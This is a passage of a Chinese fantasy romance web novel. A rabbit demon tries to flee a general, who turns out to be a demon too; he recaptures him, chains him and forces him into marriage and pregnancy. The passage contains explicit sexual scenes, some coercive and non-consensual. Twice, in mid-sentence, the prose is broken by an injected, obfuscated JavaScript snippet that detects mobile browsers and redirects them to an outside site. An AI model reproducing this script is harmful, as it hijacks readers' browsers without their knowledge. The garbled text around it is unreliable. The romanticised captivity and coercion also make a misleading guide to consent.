他楚楚可怜地吻上卫淮的唇角,舔他的薄唇,引诱他张开牙关,卫淮却不为所动,没有配合他,不过也没推开绮雪。 绮雪心知要是不下点猛药,就真的逃不过这一劫了,索性跨坐到卫淮的腿上:“今晚七郎不必辛苦,换成我来侍奉你。” 他解开卫淮的衣襟,露出健美的身躯,低头亲吻那些陈年的伤疤,手也不闲着,又去解腰带,卫淮也不拦他,任由他施为。 怎奈绮雪实在是生涩,虽然名义上来说他是卫淮的娈宠,但其实他不怎么会伺候人,平时都是卫淮掌控他,偶尔来了兴致,他最多也就是拿鞭子抽卫淮几下,向卫淮发号施令,伺候人的还是卫淮。 绮雪折腾半天,还没见卫淮怎么样,自己却快要哭了,眼尾红红的,梨花带雨般惹人怜爱,轻声唤道:“相公,你帮帮我好不好?” 他很少这样叫卫淮,以往无不是情到浓处,他在不太清醒的状态下才能被卫淮哄着叫一声,主动叫还是第一次。 他知道卫淮很喜欢听,果然,卫淮终于看向他了:“怎么帮你?” 绮雪想了想自己看过的艳.情小说,拉着卫淮的手,抚上自己的小腹,羞怯地说:“我想给相公生孩子,相公帮我——啊!” 话还没说完,绮雪就被卫淮按倒下去,卫淮握着他的腰,俯身紧贴他温热光滑的后背,如野兽般用力地咬住他的后颈。 …… 云销雨霁。 绮雪躺在卫淮的臂弯里,累得昏昏欲睡,可是一想到那对催命的宝石钉子,他又努力地睁开眼皮,软软地呢喃:“七郎,别给我戴上那东西,不然你想想,孩子以后怎么吃奶……” 卫淮摸摸他柔软的肚皮:“你真的愿意给我生孩子?” 绮雪为了不戴乳.钉,什么好话都肯说:“只要七郎喜欢,我就愿意生。” 自三百年前洞渊现世后,世间多出了无数妖魔,其中有一种凶残狡猾的妖魔名为“抱岁”,它的内丹所炼制成的丹药可以使男子受孕,也可以结合两个女子的鲜血孕育出孩子。 正因如此,经过三百年的世风变迁,同性成婚已经变成了很寻常的事情。 与之相对的是,抱岁的数量变得十分稀少,掌握炼丹之法的道观也所剩无几,原著中曾经提起过,目前既能抓到抱岁又能炼制出丹药的道观,整个大雍就只剩云月观一家,也就是主角谢殊主持的道观。 卫淮亲了亲绮雪的额头:“阿雪生的孩子我当然喜欢,既然你愿意,我便派人去云月观求取丹药,希望能在我们新婚前求到。” “好……” 绮雪温柔地回应,没有半点不情愿的样子,因为在成婚之前,他肯定已经离开卫淮了,不可能践行自己的诺言。 不过经过这一遭,他忽然来了灵感:抱岁的丹药对男妖也有效果,他完全可以想办法弄来丹药,给陛下生个孩子! 只要有了子嗣,陛下就不会立姬玉衡当太子,自然也就没有后面的故事了。 绮雪喜不自胜,漂亮的眼睛弯得像月牙一样,卫淮将他欢喜的神色看在眼里,也露出柔和的笑意。 卫淮轻捏绮雪的脸颊,故意逗弄他:“我送你的礼物怎么办,难道就这么扔了?” 他语气轻松,绮雪知道他已经气消了,轻轻掐了一把他的胸膛,撒娇似的嗔怪:“扔了就扔了,你还真打算让我戴呀?” “先给你留着。”卫淮说,“要是你真的做了对不起我的事,我就亲手替你戴上。” 绮雪有点心虚,但没显露出来,而是轻哼一声:“要是你对不起我呢,你打算怎么办,总不能只有我受罚吧?” 卫淮笑道:“你可以阉了我,如果还是不够解气,就把我杀了,我的命是你的。” 这话绮雪爱听,主动吻住卫淮:“我怎么可能舍得杀了七郎……” 总而言之,偎翠馆这件事算是有惊无险地过去了。 事后绮雪将徐夫人赠予他的上好南珠交给了绿香球,托她送到莺娘那里,算是他对她的谢意。 莺娘听说自己给绮雪惹了麻烦,心里也挺愧疚,便回赠给绮雪一枚香囊。 香囊没什么香气,里面装着十粒很小的香丸,是莺娘自制的,它们并非寻常熏香,而是被莺娘施加过灵狐一族特有的迷魂术。 只要在香炉中投入一粒香丸,就可以让人睡死过去,一枚香丸大约可以燃烧两个时辰,香丸不燃尽,屋中的人就绝不会醒来。 当然了,随之附赠的还有解迷魂术的咒语,否则迷晕自己就闹笑话了。 绮雪觉得这东西很有用,开心地收了起来,又在常戴的发簪里藏了两粒香丸,随身携带,以备不时之需。 三日后,大军自南平郡离开,踏上了折返上京的路程。 临行之前,卫淮送给绮雪一只金脚镯:“既然戴在胸上的不要,那就送你戴在脚上的。” 金脚镯的做工华丽精美,花纹细密,镶嵌着名贵的宝石和宝珠。 绮雪很喜欢这只脚镯,主要是足够贵重,可以拿去换很多钱,一收到就立刻戴上了, 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虽说马车外一片冰天雪地,但也不是空无一物,除了大军行进的官道上,两边覆盖着积雪的农田上还有几条被踩出来的小道,也是人来人往,为的是避开官道上的大军。 天寒地冻,郊野却有着这么多的赶路行人,这在其他地方是不可能见到的,唯有上京作为天下头等的繁华富饶之地,汇聚着无数人口,才会有这样的景象。 继续往前走,绮雪渐渐能看到前方山脉绵延的轮廓。 这是上京境内唯一的山脉,名为苍山,而名震天下的云月观就修建在苍山之上,位于主峰的峰顶。 云月观分为南北两座,绮雪之前去过南方那座,见识过它的香火有多么旺盛,可今日到了上京,他才见识到北方的云月观在百姓心中的地位究竟有多么神圣崇高。 明明他们距离苍山还有十几里的路途,冰天雪地之中,却已经排起了长龙,这些人全都是要上山烧香求神的信众,遥遥望去,根本望不见队伍的尽头。 而大军行进到苍山的山脚下,速度变得越发迟缓,这里聚集的信众实在太多了,将山下的道路堵得水泄不通,只能慢慢通过。 绮雪非常惊讶,抬头仰望苍山,山脉绵延百里,无法见到全貌,只是依稀望去,山势琼秀峻拔,皑皑白雪下竟是苍翠蓊郁的草木,不曾因寒冬凋零枯萎。 山路两侧怪石林立,蜿蜒曲折,蔓延向上,皆是前来拜祭的芸芸众生。 主峰名为问道蜂,峰顶可以隐约看到数座素净的楼阁,那便是云月观,也是国师谢殊的所在之地。 绮雪颇为仇恨地盯着峰顶看了很久,直到大军通过山下,山峰消失在他的视野之中,他才放下窗帘。 翌日下午,大军终于返回皇城外的军营,卫淮先将绮雪送到他在军营附近的庄子,而后他直接入宫述职。 而绮雪也要开始他的逃跑计划了。 17.17 卫淮的庄子宽阔而清净,他不喜欢太多人伺候,整个庄子的仆从不过三五人,也没有看护的妖兽,绮雪觉得这正是自己逃跑的大好时机,决定在卫淮回来之前就离开这里。 他收拾出一个小包袱,里面装着桑迟的少主令牌、莺娘的香囊和徐太守的金条。 除此之外,他还打算把卫淮送他的金脚镯也一起装进去,但他发现自己竟然脱不下脚镯,难道他最近长胖了很这么多,脚镯卡在脚踝上了? 绮雪有点困惑,却也没在意,反正他变回原身后,脚镯自然而然就会掉下来。 一切准备妥当,他在香炉里投入一枚香丸,又将杏儿和庄上的仆从全都叫进了屋中,说是有话要讲。 香丸缓缓燃烧,释放出迷魂术,没过一会,除了绮雪之外的所有人都睡着了,如此一来,绮雪就可以光明正大地从前门走出去,整个过程不费吹灰之力。 绿香球从屋外飞进来,拍着翅膀说道:“我们出发吧!” 她早就想跑了,自从得知卫淮不是人之后,她的压力就一直很大,好在现在终于能够脱离苦海了,这地方她是真的一刻也不想多待。 绮雪点点头,和绿香球不同的是,一想到就要离开卫淮了,他其实还是有些不舍,但比起他肩负的重担,这点私情就算不得什么了。 他给卫淮留书一封,大概意思是他有事要办,不得不离开,事成之后,如果卫淮不曾另娶他人,他们还可以再续前缘。 绿香球不认识人族文字,问他写了什么,绮雪如实相告,绿香球张大了喙:“你还真想和他成婚啊?” “那倒没有,我就是哄哄卫淮。”绮雪说,“留些情分在,没准以后还能用得上他呢。” 绿香球放心了:“还是你聪明。” 最后,绮雪又在杏儿怀里塞了两根金条,算是感谢她这段时间以来的照顾,就和绿香球一起离开了庄子。 一辆马车停在门口,这是绮雪提前叫桑迟给他联系好的,马车夫就是灵狐一族的人。 车夫见到绮雪绝世的容貌,自然也是惊艳不已,对他连连称赞。 待绮雪上车后,他又笑着说道:“难怪少主让我为公子准备一身女子衣裙用来乔装打扮,见到公子之前我还担心不合适,现在看来是我多虑了。” 绮雪钻进车厢一看,正如车夫所说的,里面放着女子的衣裙、脂粉和首饰,裙子看起来还挺眼熟,就是他通过下山考验时穿的牡丹色的花笼裙。 绮雪倒是无所谓穿男装还是女装,但他怀疑桑迟送裙子来就是为了取笑他,于是用令牌联系对方:“你笑话我?” 桑迟没听明白:“什么笑话你?” “你送裙子过来不就是为了笑话我吗?”绮雪边换衣服边说。 桑迟嗤了一声:“想笑话你还用得着找理由?你可真有意思。” “……”车夫听到自家少主说的话,一度欲言又止,但他还是什么都没说,闷头驾车赶路。 桑迟道:“你不是想进宫报恩吗,假身份已经给你办好了,新的照身帖就放在车里,下车前记得拿走。只要将照身帖送给姓董的内侍看,他就可以在宫中为你安排一份差事。” 天子贺兰寂不近美色,空置后宫,也从不举办选秀,想要留在皇宫就只能先做个宫人,再伺机博得天子的恩宠。 绮雪换好衣服,找到了桑迟所说的照身帖,开心地收进小包袱里:“难得你这么心细。” “我本来就这样。”桑迟轻哼,接着有些犹豫地问,“你打算怎样隐藏自己的妖身?皇城中时常会碰到云月观的道士,宫中只会更多,就凭你那点妖力……” “这就不用你操心了。” 绮雪对山阴娘娘施在他身上的法术很有信心,坚信没人能看破他的真身,先前他去过几座道观,其中包括南云月观,那些道士都没发现他是妖族。 桑迟不太信任他:“你能行吗?” “真啰嗦。”绮雪鄙视。 “要是被道士抓住了,你就把令牌交给他们,至少还能保你一条命。”桑迟说。 绮雪:“怎么,你不怕被你爹打死啦?” 桑迟没吭声,其实他就是正在卧床养伤,他私自将令牌送给绮雪的事已经被他爹知道了,死倒没死,但是右腿和左手都被打断了。 他不想叫绮雪知道他狼狈的样子,所以对此只字不提,只是说:“保命要紧,别逞强,听懂了吗?” “知道了。”绮雪断开和桑迟的联系,将令牌妥善地收好。 其实他知道令牌有多贵重,哪怕真被道士抓住,他也不会把它交出去的,总不能害了桑迟。 马车一路前行,绮雪掀开窗帘,渐渐看到了护城河和皇城的城郭。 护城河分为两道,波光粼粼,亮如银带。城邑巍峨雄峻,洁白如雪的巨石筑成十数丈高的城墙,在日光的映照中犹如白玉堆砌的城池,城楼朱甍碧瓦,丹楹刻桷,似瑶台银阙般美轮美奂。 这里就是上京皇城,天下之人皆向往的神京仙都,也是绮雪心中的圣境。 距离护城河还有一段距离,灵狐族的车夫停下马车,换来了另一位车夫。 新来的车夫是普通人类,他的东家和灵狐族有生意往来,负责接绮雪进城,因为城门下悬挂着检测妖气的法器,灵狐车夫不便入城,便找来了可信之人接替。 灵狐车夫向绮雪告别:“公子多多保重,若是在上京遇上任何难事,随时都可以来找我们。” 绮雪点点头,和他告别,坐马车来到护城河的桥上。 两条护城河各建有八座宽大的拱桥供人行走,每座桥都有骑着妖兽的重兵把守,检查可以证明身份的照身帖,以防歹人混入皇城。 轮到绮雪时,绮雪拿出了新的照身帖,很顺利地通过了检查。 马车继续往前走,即将经过城门,每座城门都建有三座拱门,但只开了左右两座,中间最大的一座是关闭的,平时不会开启。 车夫热情地为绮雪介绍:“只有天子出行、将军出征和国师入京才会开启中间这座城门,上一回我们见到城门开启还是半年前卫淮大将军出征南行的时候。” 他将马车赶向左城门,这是因为绿香球也在车上,她在照身帖上被登记成了绮雪的妖宠,需要额外经过道士的检查。 上京和其他地方有所不同,因为有云月观道士的坐镇,皇城是允许妖魔入内的,但入城的妖魔只能是兽形,对体型和种类也有限制,譬如食人妖魔就不可入城。 左城门的门洞前建有两座高约半丈的法座,两个年轻的云月观道士趺坐在法座之上,目光锐利地审视着来往之人。 他们穿着简朴,头戴乌木簪,一身素白道袍和白靴,身后背负长剑,此外再无纹饰之物,气势却甚是凌厉,教人不敢直视。 绿香球这样的小妖怪接受检查时连大气都不敢喘,道士给她的脖子系上一条布带,布带写满咒文,一旦妖兽伤人或变成人形,布带就会断裂,里面的咒文将瞬间杀死妖兽。 好在绿香球本来就不会变人,不会有任何性命之忧,等她回到马车上,车夫拉着她和绮雪进入了皇城。 皇城的繁华无可比拟,才一入城,四周就格外嘈杂喧闹。空中飞过色彩斑斓的鸟雀和蝴蝶,车马、妖兽和行人摩肩接踵,来自异域的商人支起货摊,摆满琳琅满目的香料和珠宝,舞娘随着音乐扭动柔软的腰肢,唱出魅惑人心的歌曲。 香气弥漫,乐舞缭绕,凡是车马所经之处,无不是繁闹的盛景,绮雪看得眼花缭乱,一直持续到马车驶入宅邸为止。 宅邸环境清幽,是灵狐一族的私产,平日宅中无人,只有一个老仆看家,正好借给绮雪和绿香球暂住。 老仆为绮雪收拾好了卧房,今晚绮雪就住在这里,明天他就可以去找董内侍谋份差事。 自从贺兰寂登基后,想在宫中谋份差事并不困难,因为没人愿意入宫。 虽说皇宫中死几个内侍宫女实属平常,但现在死的人太多了,三天两头就要换上一批,当然没人想去了。 还有一个原因,天子贺兰寂精通巫术,他戒心很强,平时从不叫人近身,都是驱使一种名为“魇”的妖魔在近前侍奉,很多宫人直到死前都见不到贺兰寂。 所以相对而言,宫中并不太在意宫人的底细,只要没有明面上的问题就都会召入宫中。 绮雪被自己即将入宫的兴奋冲昏了头脑,完全没考虑过自己也有可能小命不保,昔日的救命之恩让他对贺兰寂唯有无限的仰慕,坚持认为贺兰寂不是滥杀无辜之人,就算杀人也都是有苦衷的。 当夜,绮雪辗转反侧到很晚才睡着,除了激动,也有一部分原因是没有卫淮睡在他身边,北方天气寒凉,被窝都显得冷飕飕的,就算点了炭盆也不如被卫淮抱在怀里暖和。 也许是过于想念卫淮的体温,绮雪睡得正熟的时候依稀感觉到有人抱起了他,闻气息是他熟悉的卫淮,绮雪自然而然地将脸埋进对方的怀里,又迷迷糊糊地睡着了。 直到听见绿香球叽喳的叫声,绮雪才迷迷糊糊地醒了过来,睁开眼睛,他吃了一惊,因为他发现自己所住的卧房是卫淮庄子里的那间,他怎么又回来了? “你终于醒了,都叫你半天了!” 绿香球扑扇着翅膀上蹿下跳,绮雪赫然发现她被关进了鸟笼里:“是谁做的?” “当然是卫淮,除了他还能有谁?” 绿香球心有余悸地说:“当时他忽然领兵冲进来了,将你带走了。我本想出城求救,但卫淮看穿了我的想法,也把我一块抓起来了。你睡得倒是挺香,明明这么大动静,你居然一点也没听见。” 绮雪有些惭愧,赶紧起床从鸟笼中放出了绿香球:“真不知道他是怎么找到我的。” “我也没想明白,接下来你打算怎么办?”绿香球问。 “当然是赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064923|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,这回我变成原形逃跑,在城外躲一阵子,这样卫淮就找不到我了。”绮雪说。 睡前他将自己的小包袱藏了起来,那些东西肯定都还在宅邸里,倒是不用担心。 “那就快走吧!”绿香球说。 可她等了一会,还没等到绮雪变回兔团,便有些奇怪地问:“怎么了?” “我……” 绮雪愣愣地望向她:“我、我变不回去了,我的妖力被封住了……” “什么?”绿香球惊呼,“怎么会这样?” 绮雪看向自己的脚踝:“好像是这个脚镯有问题……” 难怪他摘不下这只脚镯,看来它分明就是一件法器。 绿香球勃然色变:“是卫淮,脚镯是他送给你的,他知道你是妖族!说不定他能找到你也是因为这只脚镯!” 绮雪难以置信:“可卫淮怎么会知道我是妖族?我没有在他面前露出过破绽。” 绿香球多少猜到了原因,正要开口,房门忽然被人推开,门后露出卫淮英俊的面孔。 卫淮望着绮雪,语气温和地问:“又想跑吗?” 告别的书信被摊开摆在桌上,显然卫淮已经看过了,他又问道:“事情还没办完?没关系,我可以帮你。你我的缘分本就未尽,又何须再续前缘。” 他一步步靠近,视线锁定绮雪,虽然神色未变,绮雪却感到自己如若遭到猛兽的凝视,不禁毛骨悚然,下意识地扭头就跑。 只是他变不回原身,根本就跑不过卫淮,很快就被卫淮按倒在桌子上,绿香球想帮他,可她小小一只根本阻挡不了卫淮,绮雪忍着疼对她喊道:“快跑!” 绿香球难过极了,可她知道自己留下来也没用,还不如逃出去搬救兵,于是“嗖”地飞出了窗户,卫淮也没拦她。 卫淮将绮雪的身体翻过来,让他躺在桌上,扼住他的喉咙,但并未施力,只是控制住他:“怎么不回答我,是心虚还是害怕?告诉我,阿雪,你为什么要离开我?” “七……七郎,你听我解释……” 绮雪本能地感到惊恐,此时的卫淮更像是他们初见时的样子,含笑的桃花眼所流露出的却是阴冷的煞气。 卫淮垂眸看着他:“你说吧,我听着。” 绮雪想到禁锢着自己的脚镯,估计卫淮已经知道他是妖族了,索性说道:“或许你已经看出来了,我留给你的书信只是托词,我离开你其实是因为我是兔妖,人妖殊途,我们在一起不会有好结果的。” “原来你是小兔子。”卫淮没有表露丝毫的诧异,“是白兔吗?” 绮雪暗道卫淮果然已经知道了,怯怯地说:“对……” “皮毛雪白,难怪你叫‘阿雪’。”卫淮松开手,轻轻抚摸他的脸颊,“就是因为这样你才要离开我?” 绮雪咬着唇瓣:“我不想害了你。” 卫淮轻笑一声:“那我倒是要感谢阿雪的体贴了,不过你不用担心,我也不是真正的人,娶一位妖族夫人才更符合我的身份。” ……什么?这是什么意思,卫淮为什么说自己不是人? 在绮雪迷茫的注视中,卫淮的瞳孔变成幽绿的竖瞳,一股磅礴幽深、血腥残暴的妖气瞬间弥漫开来,令绮雪如同坠入了恶鬼地狱。 可怖的气息笼罩全身,绮雪恐惧得动弹不得,四肢冰冷,面色苍白如纸。 卫淮的竖瞳牢牢地锁定绮雪,如若注视着俘获的猎物:“开心吗,阿雪?你骗了我,我也骗了你,我们是天造地设的一对。” “不过我对你的承诺都是真的,我是真心喜欢你,想和你过一辈子,你呢,你对我可曾有过半分真心,你的甜言蜜语到底有哪一句是真的?” 绮雪说不出话,浑身都在发抖,卫淮明知他害怕,却不留半点情面,没有收敛丝毫妖气,粗暴地将绮雪扔到床上,撕碎了他的中衣。 极乐和恐惧交缠,令绮雪的意识很快溃散了。 他昏昏沉沉地倒在卫淮的怀里,迟钝地感觉到胸口有一丝刺痛,但在快乐之中,这点疼痛也变得微不足道,直到他低头看到两枚小小的红宝石坠在胸前,才恍惚地意识到发生了什么。 刺破的软肉微微渗出血珠,卫淮挑起血珠含入口中,低头亲吻绮雪的双唇,邀请他品尝自己的鲜血。 血腥味和香气融合交织,卫淮的亲吻逐渐变了味道。 他暴戾地咬住绮雪的咽喉,齿痕深陷于皮肉,似乎下一瞬就会鲜血四溅,但最后他还是松了口,百般怜爱地落下轻吻。 “我知道你一直在骗我。” 他抱住绮雪,在他耳边低声呢喃。 “不过不要紧,你先前承诺过的誓言不会落空,我会把它们都变成真的。” 变成真的……可是他承诺过卫淮什么呢?他已经完全记不清了。 绮雪的脑海中闪过最后一个念头,他便再也支撑不住,精疲力尽地昏了过去。 18.18 绮雪被卫淮囚禁了。 当晚他昏迷后,再次醒来时发现自己不在原来的地方,而是置身于一间珠箔银屏的陌生屋室。 他想下床走走,却发现金脚镯安上了金链,另一端与墙壁相连,长度刚好到门口,却跨不出房门半步,他被困住了。 看形状和样式,金脚镯加上金链才是一件完整的法器,作用就是禁锢妖魔,原来卫淮早就有了囚禁他的心思,亏他还把枷锁当成贵重的礼物,每天傻乎乎地戴着。 唉…… 绮雪忧愁地坐回到床上,挑开中衣的衣襟,低头看向自己胸前的红宝石乳.钉。 他激怒了卫淮,最终还是被戴上了乳.钉,虽然不疼,但也不敢轻易扯下来,难道他变回兔子的时候胸前还要坠着这么两个东西吗? 不过话又说回来了,只要脚镯还在,他就变不回兔子,想靠自己的力量逃出去几乎是不可能了。 再加上少主令牌不在他手里,现在他只有两条路可选:等绿香球找人救他,或是耗费一根兔毛向山阴娘娘求救。 绮雪想了想,还是有点舍不得兔毛,觉得也没有很急,再等等绿香球也不迟。 正想着,杏儿从外面推门走进了房间,看到绮雪已经醒了,她怔了怔,立刻从荷包里掏出两根金条交给绮雪:“公子,这是你的东西。” “现在是你的了。” 绮雪连忙往回推:“你照顾我这么久,我都没送给你什么东西,你就收下吧,就当做是我的一份心意。” “我不需要公子送我东西。” 杏儿捏着金条露出难过的表情,像是快要哭了:“我只希望公子不要再不辞而别了……是不是我伺候得不好,惹你厌烦了,你才要离开的?” 绮雪有些愧疚,连忙安慰她:“怎么可能怪你呢,这几个月我过得很开心,离开是因为我有不得不做的事,但我很高兴能和你成为朋友。” “是……是吗?”杏儿愣愣地说,“那绿香球呢,就连她也走了……” “她是为了陪我才离开的。”绮雪揉揉她的脑袋,“你放心,我和绿香球都很喜欢你,你是我们的好朋友。” 杏儿这才破涕为笑,在绮雪的劝说下,她收下了金条,不过她表示要拿这些金子多给绮雪买好吃的,上京的美食数不胜数,绮雪一定会很喜欢。 绮雪趁机问道:“我们现在是在哪儿,皇城里面吗?” “是的,这里是将军府,在明德街上,离皇宫不远。”杏儿答。 皇宫啊…… 一想到自己离贺兰寂已经近在咫尺,绮雪更加坚定了要逃出去的决心,他一定要见到陛下。 他们又聊了几句,杏儿就去给绮雪拿吃的了,不一会,几名侍女进来为绮雪更衣净面,不同于行军时的苦日子,将军府的一切用度皆豪奢华靡,奴仆众多,肯定不会只有杏儿一个小姑娘伺候绮雪。 傍晚,卫淮回到将军府,第一件事就是过来看望绮雪。 昨夜枕席间的折磨还历历在目,再加上得知卫淮不是人类,现如今绮雪一见到他就害怕,直到卫淮将他抱进怀里,他才挤出笑脸,轻声说道:“七郎……你回来了。” 卫淮似乎气消了,依然是笑吟吟的模样,低头轻吻他的唇瓣:“在屋子里待了一天是不是很无聊?吃完饭我带你出去转转。” 他的态度自然平淡,可绮雪却觉得他很可怕,似乎他囚禁他是件再正常不过的事情,甚至不值得为此生气或是争吵。 卫淮半跪在绮雪脚边,替他脱下脚镯,绮雪反应很快,立刻变回兔团就想逃跑,但卫淮的反应速度远超常人,一把将他捧在掌心里,笑着说道:“阿雪的原形真可爱。” 他释放出一丝妖气,兔团就吓得不敢动了,任由卫淮将他揣进衣襟里,只露出一个小脑袋。 唯一的好消息就是随着兔团的变化,乳.钉并没有显露出来,而是像身上的衣服一样消失了,他不至于戴着乳.钉晃来晃去。 卫淮给兔团喂了些吃的,带着他在府中闲逛,兔团全程看得目不转睛,努力地记忆地形,卫淮笑了笑,点了下他的脑袋:“又在想着怎么逃跑?” “我没……” 兔团下意识地想否认,可说到一半忽然觉得不对,他为什么不能想着逃跑,难道他还要心甘情愿地留下来吗? “没错,我是想跑。” 他从卫淮的衣襟里跳了出来,变回人身,直视着卫淮的双眼:“七郎,你究竟打算囚禁我多久?是不是只要我一直不向你妥协,你就会一直把我关起来?” 卫淮和他四目相对,良久,他伸手抚摸绮雪的脸颊:“我不会关你那么久,只要你怀上我的孩子,我就会放你出去。” 绮雪身体一僵,的确,要是他怀上了卫淮的孩子,到时候想跑也跑不了了,一旦卫淮求到了生子丹,按照他们每晚欢合的激烈程度,怕是要不了几天就怀上了…… 他面露惶然,卫淮见状一把揽过他的腰,将他扛到肩上:“看来阿雪已经等不及要为我生孩子了。” “我不想生!卫淮,你放我下来!” 绮雪惊慌失措地捶打卫淮的后背,怎奈他的力气也就是兔子那么大,落在卫淮身上不痛不痒的,卫淮甚至懒得用妖气吓唬他。 “不想生也要生。” 卫淮将绮雪扔到床上,温热的手掌覆盖上他的小腹:“你答应过我的,阿雪,可不要言而无信。” …… 绮雪觉得,生孩子不过就是卫淮的借口,他的真实目的其实是放纵自己,否则生子丹明明还没到,卫淮每晚就已经大有把他往死里弄的架势了,害他每天都睡到下午,连计划逃跑的时间都没了。 绿香球那边想要营救绮雪也很困难,几天下来他们甚至没能重新取得联系,绮雪见势不妙,立刻学乖了,不再跟卫淮那么剑拔弩张,又变得软乎乎地黏着卫淮。 卫淮也终于收敛了些,至少绮雪每天上午还能挣扎着起床。 绮雪趁机打探卫淮的口风,他一直想弄清楚卫淮是如何识破他的妖族身份的,明明他没有妖气,就像卫淮身上也没有,只有弄明白才能避免以后重蹈覆辙。 “你的破绽很多。” 卫淮很痛快地告诉他了:“当初你不识字,我就知道你不是徐夫人的外甥,她是名门闺秀,族中子侄皆是读书人,不可能不通文墨。” “你的身份是假的,但在情.事上又生涩,不是久经调.教的男宠,却也并非穷苦人家的孩子,否则养不出这一身娇嫩的皮肉。” “自从你的鹦鹉朋友进入军营后,我便可以肯定你是妖物。你们假装初次见面,却有着非比寻常的默契,显然早已相识,是关系很好的朋友。” 真相竟然简单得如此残酷,绮雪臊红了脸,亏他还自以为没什么破绽,其实破绽多得都成筛子了。 他小声说:“既然你早就知道了,那为什么不早些揭穿我?” “最开始是觉得有趣。” 卫淮道:“我不在乎你接近我的目的,你伤不了我,又很合我的胃口,陪你玩玩也不错。” “后来是没有必要,你就是你,是我的阿雪,既然你不想说,我就不会揭穿你的秘密。” 他望向绮雪的目光温柔如水,绮雪咬了咬唇,又问卫淮:“你又是如何隐藏妖气的呢,我闻不出你的味道,你的真身到底是什么妖魔?” 卫淮捏他的耳朵:“你猜。” “狼?蛇?”绮雪根据他绿色的眼睛猜测。 “都不是。”卫淮莞尔,“有机会的话会让你见识到的,好了,跟我去试试新衣服。” 前几日绣娘们才为绮雪仔细地量过尺寸,如今年关将至,绮雪还以为是为了新年才要制新衣,但是看到新衣服他的脸色骤然一变,绣娘们呈上来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095464|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然是一套华美夺目的大红婚服。 “这套婚服是上百位绣娘日夜赶工而成的,阿雪喜欢吗?” 卫淮笑着揽过绮雪的腰,将婚服上的花纹绣样指给他看,只见除了传统的吉祥纹饰外,裙摆上用金线绣着许多活泼可爱的小兔子,每只的神态都不同,但是都很像绮雪的原形。 平心而论,这套婚服真的美丽绝伦,但绮雪就是夸不出一个字,卫淮也不生气,亲了亲他说道:“我很满意,既然阿雪也不讨厌,纹样就算定下来了。” “初三是宜嫁娶的吉日,我们的婚期就定在这一天。” 原本卫淮说他们的婚期是春天或夏天,绮雪没想到他竟然把日子提前了这么多,他正猜测着是不是因为自己的逃跑刺激到了卫淮,卫淮忽然问他:“你知道我为什么要提前我们的婚期吗?” 绮雪摇头,卫淮笑了起来:“因为我派去的人已经求到了抱岁丹,初三那日,谢国师的弟子将会亲自下山送来丹药,阿雪,我们就快有孩子了。” 绮雪吓得腿一软,栽倒进卫淮怀中,卫淮抱着他试婚服,尺寸完美贴合,巧夺天工的剪裁和织绣将绮雪映衬得腰身不盈一握,美貌越发明艳耀眼。 “阿雪真漂亮。” 卫淮替绮雪系好婚服的衣带,轻轻抚摸他的脸颊:“我求了一道赐婚的旨意,如今天下人尽知你是我的妻子。我们大婚那日,陛下将会亲自主持婚礼,文武百官皆是我们的座上宾,徐太守和徐夫人也会专程从青郡赶来观看婚礼。” 听到贺兰寂也会参加婚礼,绮雪不仅不期待和恩人见面,甚至连冷汗都下来了。 他必须要在婚礼举行之前逃出去,要是让贺兰寂看到他是臣下的妻子,那他还怎么入宫当宠妃! 绮雪当即决定不等了,拔下一根兔毛藏在手里,在心底呼唤山阴娘娘的圣号,祈求娘娘帮助他逃离将军府。 山阴娘娘很快给予了回应,这种回应并非言语,而是一种玄妙的感知,绮雪知道娘娘已经收到了他的求救,接下来他只要等她显灵就行了。 绮雪并不知道山阴娘娘会以什么样的方式显灵,紧张不安地等待着,可直到大婚当日,绮雪开始慌了,为什么山阴娘娘还没有来救他? 清晨,绮雪僵硬地坐在梳妆镜前,任由侍女为他盛装打扮。 他本就生得极为美丽,经过精致的妆点更是放大了他的美貌,就连这些侍奉他多日的侍女在上妆时也看得怔住了,倾倒在他绝艳的容颜下。 这一梳妆就是整整一上午的功夫,盘好发髻、戴满金翠,侍女小心地为绮雪戴上珠冠,又将一把嵌满玉珠的扇子交到他手中。 等到卫淮来接亲时,绮雪便要以扇遮面,由卫淮抱他上花轿,拜堂时也要将扇子举到眼前。 绮雪急得像热锅上的蚂蚁,他知道卫淮今天是从国公府出发,来将军府接亲,可就算卫淮不在府中,他也根本逃不出去,现在他的脚踝还被金链锁着,身边又全是看守他的人,他一点办法都没有。 到了下午,绮雪在焦虑中听到外面响起了喧闹的人声和奏乐声,接亲的队伍来了。 绮雪想躲,却无处可藏,在一声声道喜中,他听到卫淮的脚步声由远及近,而后是“吱呀”一声,屋门被推开了。 卫淮走进房中,他同样穿着一身大红婚服,更显风流潇洒、龙姿凤采。 他望向绮雪,毫不掩饰发自内心的惊艳和喜爱,眉眼弯弯地称赞:“阿雪的美貌世间罕有,能娶到你真是我三生有幸。” 绮雪勉强露出一抹微笑,顺从地任由卫淮解下金链,将他抱出卧房,一步步地走向花轿。 “只要拜过堂,我们就是真正的夫妻了。” 卫淮抱着他,眼中满含笑意,在他耳边低语:“无论你对我隐瞒了什么,无论你心里有什么人,你永远都是我的妻子。” “阿雪,我们不死不休。” 19.19 将军府距离国公府尚且有一段路程,绮雪被卫淮抱上花轿后,当然也有尝试过半路逃跑,可花轿被下了禁锢法术,根本不容许他跳出去,他就这样一直被抬到了国公府。 